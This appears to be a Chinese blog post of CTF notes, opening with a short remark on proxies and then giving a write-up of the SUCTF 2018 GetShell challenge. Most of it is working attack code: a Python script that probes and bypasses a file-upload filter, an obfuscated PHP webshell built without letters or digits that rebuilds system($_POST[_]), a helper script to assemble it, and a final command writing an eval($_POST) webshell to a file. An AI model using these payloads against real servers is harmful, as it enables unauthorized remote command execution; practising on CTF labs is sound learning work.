https://www.yuanhe-xia.cn/posts/12/

http://blog.itpub.net/31559985/viewspace-2730433/

http代理和socket代理!
怎么说呢!

我又看了看!
就就是代理嘛!相当于代理服务器!可以这样理解!那为什么我们能fq呢!

我是这样理解的!我们本地10808有socket代理! 然后通过这个代理,发送到下一个代理,可能后面有很多个!最后达到fq的效果!

好玩 哈哈哈哈哈😄😄😄😄

[SUCTF 2018]GetShell

知识点: 无字母数字webshell

payload

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2021/8/6 17:25
# @Author : upload
# @File : [SUCTF 2018]GetShell.py
# @Software: PyCharm

import requests
import time

proxy = '127.0.0.1:8080'
proxies = {
'http': 'http://' + proxy,
'https': 'https://' + proxy,
}


def ascii_str():
str_list = []
for i in range(32, 127):
# print(chr(i))
str_list.append(chr(i))
return str_list

shao_cai=ascii_str()

def text():#测试一下过滤了哪些汉字
s = '你归来是诗离去成词且笑风尘不敢造次我糟糠能食粗衣也认煮酒话桑不敢相思你终会遇见这么一个人他会用整个人生将你精心收藏用漫长岁月把你妥善安放怕什么岁月漫长你心地善良,终会有一人陪你骑马喝酒走四方为你唱一首歌歌中有你亦有我我的泪我的魅将都融入到我的歌声里飘向孤独的你你是否听到了我的歌曲是否也在黯然落泪?岁月匆匆人生漫漫漠视了真情谁是站谁的谁已经变得不重要至少曾经已拥有长相思爱相随时空隔离谁相陪?花前月下心随风相思一片梦成空笑看往事红尘中多少凝思付清秋?长相思泪相随曾经谁是谁的谁?孤星冷月泪盈盈念曾经相逢心长时光短让人垂泪到天明长相思苦相随窗前双燕比翼飞日暮情人成双对于时光无垠的田野中没有早一步也没有晚一步恰好遇见了想要遇见的人这是一段多少美丽而令人心动的尘缘于爱情来说相见恨早会恨晚站会留下梨花带雨的疼痛而于友情来说无论太早或者太迟都是一份值得珍惜的情缘晚秋缓缓走晚了我的轮回疏雨一刻半疏笼起我深深的梦馀昨日遗憾寸寸疏雨挑涸泪烛落笔无处飒晚秋彼晚秋未晚懒我疏雨疏风去归我初心还我清梦唯我在晚秋未晚里守望那疏雨半疏的麦田待下一片梧桐叶复舞我亦拾起我的旧梦旧梦清寒一枕乱我眸中晚秋躞蹀的雨疏疏拍窗我的晚秋疏雨半疏疏开昨日我的梦情缘如海深邃澈蓝干涸成妄谈一湛清湖泪潸然一颦寒眉锁阑珊只为你而欣悦只因你而清泪斑斑你是我的前世吧为何沁泊在我的心怀缱绻起涟波千层驻我心扉知我情怀从此我已习惯你的嘘寒问暖懒倦地痴卧在你的胸怀红霞满腮昨天再苦都要用今天的微笑把它吟咏成一段幸福的记忆;曾经再累都要用当站下的遗忘穿越万道红尘让心波澜不惊人生最大的荣耀不在于从不跌倒而在于每一次跌倒后都能爬起来回忆是件很累的事就像失眠时怎么躺都不对的样子有时候往往直到离开在回忆里才能知道自己有多喜欢一座城';
for ii in s:
shao_cai.append(ii)


print(shao_cai)
shao = []

for i in shao_cai:
burp0_url = "http://798a258a-e23d-4edc-acd5-9e844c913358.node4.buuoj.cn:81/index.php?act=upload"
burp0_cookies = {"OUTFOX_SEARCH_USER_ID_NCOO": "1935872068.9989924",
"UM_distinctid": "17b0b3c6b83d44-005a7fe99cb475-d7e163f-144000-17b0b3c6b84c1f"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1",
"Origin": "http://798a258a-e23d-4edc-acd5-9e844c913358.node4.buuoj.cn:81",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIieCjQA14VYkC1PI",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": "http://798a258a-e23d-4edc-acd5-9e844c913358.node4.buuoj.cn:81/index.php?act=upload",
"Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
"Connection": "close"}
burp0_data = '''------WebKitFormBoundaryIieCjQA14VYkC1PI\r\nContent-Disposition: form-data; name=\"file\"; filename=\"111.png\"\r\nContent-Type: image/png\r\n\r\n12345''' + i + '''\r\n------WebKitFormBoundaryIieCjQA14VYkC1PI\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\n\xe6\x8f\x90\xe4\xba\xa4\r\n------WebKitFormBoundaryIieCjQA14VYkC1PI--\r\n'''
re = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data.encode('UTF-8'), proxies=proxies)

if 'Stored in:' in re.text:
print("you are right : {}".format(i))
shao.append(i)
else:
print("no : {}".format(i))

if re.status_code == 429:
print('fast')
time.sleep(1)


print(shao)

#打exp
def exp11():

exp = '''<?=$__=[];$_=($__==$__);$__=~(笑);$___=$__[$_];$__=~(离);$___.=$__[$_];$__=~(笑);$___.=$__[$_];$__=~(站);$___.=$__[$_];$__=~(人);$___.=$__[$_];$__=~(粗);$___.=$__[$_];$__=~(样);$____=$__[$_];$__=~(诗);$____.=$__[$_];$__=~(尘);$____.=$__[$_];$__=~(笑);$____.=$__[$_];$__=~(站);$____.=$__[$_];$_=$$____;$___($_[_]);'''
burp0_url = "http://798a258a-e23d-4edc-acd5-9e844c913358.node4.buuoj.cn:81/index.php?act=upload"
burp0_cookies = {"OUTFOX_SEARCH_USER_ID_NCOO": "1935872068.9989924",
"UM_distinctid": "17b0b3c6b83d44-005a7fe99cb475-d7e163f-144000-17b0b3c6b84c1f"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1",
"Origin": "http://798a258a-e23d-4edc-acd5-9e844c913358.node4.buuoj.cn:81",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIieCjQA14VYkC1PI",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": "http://798a258a-e23d-4edc-acd5-9e844c913358.node4.buuoj.cn:81/index.php?act=upload",
"Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
"Connection": "close"}
burp0_data = '''------WebKitFormBoundaryIieCjQA14VYkC1PI\r\nContent-Disposition: form-data; name=\"file\"; filename=\"111.png\"\r\nContent-Type: image/png\r\n\r\n''' + exp + '''\r\n------WebKitFormBoundaryIieCjQA14VYkC1PI\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\n\xe6\x8f\x90\xe4\xba\xa4\r\n------WebKitFormBoundaryIieCjQA14VYkC1PI--\r\n'''
re = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data.encode('UTF-8'), proxies=proxies)


if __name__ == '__main__':
exp11()


先看看过滤了什么!

然后构造test

test

<?php


//$__=[];
//$_=($__==$__);//$_=1
//$__="极";
//$___=~($__{$_});
//echo $__;
//
//echo $___;

$syst = array();
$y = array();
$t = array();
$e = array();
$m = array();
$_ = array();
$p = array();
$o = array();
$a= ['你', '归', '来', '是', '诗', '离', '去', '且', '笑', '风', '尘', '不', '敢', '造', '次', '我', '糟', '糠', '能', '食', '粗', '衣', '也', '认', '煮', '酒', '话', '桑', '不', '敢', '相', '思', '你', '终', '会', '遇', '见', '这', '么', '一', '个', '人', '他', '会', '用', '整', '个', '人', '生', '将', '你', '精', '心', '收', '藏', '用', '漫', '月', '把', '你', '妥', '善', '安', '放', '怕', '什', '么', '岁', '月', '漫', '长', '你', '心', '地', '善', '良', '终', '会', '有', '一', '人', '陪', '你', '骑', '马', '喝', '酒', '走', '四', '方', '为', '你', '唱', '一', '首', '歌', '歌', '中', '有', '你', '亦', '有', '我', '我', '的', '泪', '魅', '将', '都', '融', '入', '到', '我', '的', '歌', '声', '里', '飘', '向', '孤', '独', '的', '你', '你', '是', '否', '听', '到', '了', '我', '的', '歌', '曲', '是', '否', '也', '在', '黯', '然', '落', '泪', '?', '岁', '月', '匆', '匆', '人', '生', '漫', '漫', '漠', '视', '了', '真', '情', '谁', '谁', '的', '谁', '已', '经', '变', '得', '不', '重', '要', '至', '少', '曾', '经', '已', '拥', '有', '长', '相', '思', '爱', '相', '随', '时', '空', '隔', '离', '谁', '相', '陪', '?', '花', '前', '月', '下', '心', '随', '风', '相', '思', '一', '片', '梦', '成', '空', '笑', '看', '往', '事', '红', '尘', '中', '多', '少', '凝', '思', '付', '清', '秋', '?', '长', '相', '思', '泪', '相', '随', '曾', '经', '谁', '是', '谁', '的', '谁', '?', '孤', '星', '冷', '月', '泪', '盈', '盈', '念', '曾', '经', '相', '逢', '心', '长', '短', '让', '人', '垂', '泪', '到', '天', '明', '长', '相', '思', '苦', '相', '随', '窗', '前', '双', '燕', '比', '翼', '飞', '日', '暮', '情', '人', '成', '双', '对', '于', '时', '光', '无', '垠', '的', '田', '野', '中', '没', '有', '早', '一', '步', '也', '没', '有', '晚', '一', '步', '恰', '好', '了', '想', '要', '遇', '见', '的', '人', '这', '是', '一', '段', '多', '少', '美', '丽', '而', '令', '人', '心', '动', '的', '尘', '缘', '于', '爱', '情', '来', '说', '相', '见', '恨', '早', '会', '恨', '晚', '站', '会', '留', '下', '梨', '花', '带', '雨', '的', '疼', '痛', '而', '于', '友', '情', '无', '论', '太', '早', '或', '者', '太', '迟', '都', '是', '一', '份', '值', '得', '珍', '惜', '的', '情', '缘', '晚', '秋', '缓', '缓', '走', '晚', '了', '我', '的', '轮', '回', '疏', '雨', '一', '刻', '半', '疏', '笼', '起', '我', '深', '深', '的', '梦', '馀', '昨', '日', '遗', '憾', '寸', '寸', '挑', '涸', '泪', '烛', '落', '笔', '无', '处', '飒', '晚', '秋', '彼', '晚', '秋', '未', '晚', '懒', '我', '疏', '雨', '疏', '风', '去', '归', '我', '初', '心', '还', '我', '清', '梦', '唯', '我', '在', '晚', '秋', '未', '晚', '里', '守', '望', '那', '疏', '雨', '半', '疏', '的', '麦', '田', '待', '片', '梧', '桐', '叶', '复', '舞', '我', '亦', '拾', '起', '我', '的', '旧', '梦', '旧', '梦', '清', '寒', '一', '枕', '乱', '我', '眸', '中', '晚', '秋', '躞', '蹀', '的', '雨', '疏', '疏', '拍', '窗', '我', '的', '晚', '秋', '疏', '雨', '半', '疏', '疏', '开', '昨', '日', '我', '的', '梦', '情', '海', '深', '邃', '澈', '蓝', '干', '涸', '成', '妄', '谈', '一', '湛', '清', '湖', '泪', '潸', '然', '一', '颦', '寒', '眉', '锁', '阑', '珊', '只', '为', '你', '而', '欣', '悦', '只', '因', '你', '而', '清', '泪', '斑', '斑', '你', '是', '我', '的', '前', '世', '吧', '为', '何', '沁', '泊', '在', '心', '怀', '缱', '绻', '起', '涟', '波', '千', '层', '驻', '我', '心', '扉', '知', '我', '情', '怀', '从', '此', '我', '已', '习', '惯', '你', '的', '嘘', '寒', '问', '暖', '懒', '倦', '地', '痴', '卧', '在', '你', '的', '胸', '怀', '红', '霞', '满', '腮', '昨', '天', '再', '苦', '都', '要', '用', '天', '的', '微', '笑', '把', '它', '吟', '咏', '成', '一', '段', '幸', '福', '的', '记', '忆', ';', '曾', '经', '再', '累', '都', '要', '用', '当', '站', '下', '的', '遗', '忘', '穿', '越', '万', '道', '红', '尘', '让', '心', '波', '澜', '不', '惊', '人', '生', '最', '大', '的', '荣', '耀', '不', '于', '从', '不', '跌', '倒', '而', '在', '于', '每', '一', '次', '跌', '倒', '后', '都', '能', '爬', '起', '来', '回', '忆', '是', '件', '很', '累', '的', '事', '就', '像', '失', '眠', '时', '怎', '么', '躺', '都', '不', '对', '的', '样', '子', '有', '时', '候', '往', '往', '直', '到', '离', '开', '在', '回', '忆', '里', '才', '能', '知', '道', '自', '己', '有', '多', '喜', '欢', '一', '座', '城'];
foreach ($a as $zhi){
if ( ~($zhi{1}) == 'S'){
$syst[] =$zhi;
}elseif (~($zhi{1}) == 'Y'){
$y[] = $zhi;
}elseif (~($zhi{1}) == 'T'){
$t[] = $zhi;
}elseif (~($zhi{1}) == 'E'){
$e[] =$zhi;
}elseif (~($zhi{1}) == 'M'){
$m[] = $zhi;
}elseif (~($zhi{1}) == '_'){
$_[] = $zhi;
}
elseif (~($zhi{1}) == 'P'){
$p[] = $zhi;
}
elseif (~($zhi{1}) == 'O'){
$o[] = $zhi;
}
else{
echo ' "'.$zhi.'":'.'没有一个'."\n";
}
}
echo "s: \n";
var_dump($syst);
echo "y: \n";
var_dump($y);
echo "t: \n";
var_dump($t);
echo "e: \n";
var_dump($e);
echo "m: \n";
var_dump($m);
echo "_: \n";
var_dump($_);
echo "p: \n";
var_dump($p);
echo "o: \n";
var_dump($o);

最后把payload代入

<?php

$__ = [];
$_ = ($__ == $__);
$__=~(笑);
$___=$__[$_];
$__=~(离);
$___.=$__[$_];
$__=~(笑);
$___.=$__[$_];
$__=~(站);
$___.=$__[$_];
$__=~(人);
$___.=$__[$_];
$__=~(粗);
$___.=$__[$_];
$__=~(样);
$____=$__[$_];
$__=~(诗);
$____.=$__[$_];
$__=~(尘);
$____.=$__[$_];
$__=~(笑);
$____.=$__[$_];
$__=~(站);
$____.=$__[$_];
$_=$$____;
$___($_[_]);



//system($_POST[_])

https://blog.csdn.net/mochu7777777/article/details/107729445

有个问题!就是蚁剑连不上!我我!可是最新版支持system呀!我我我我

_=echo "<?=eval(\$_POST[1]);" > 1.php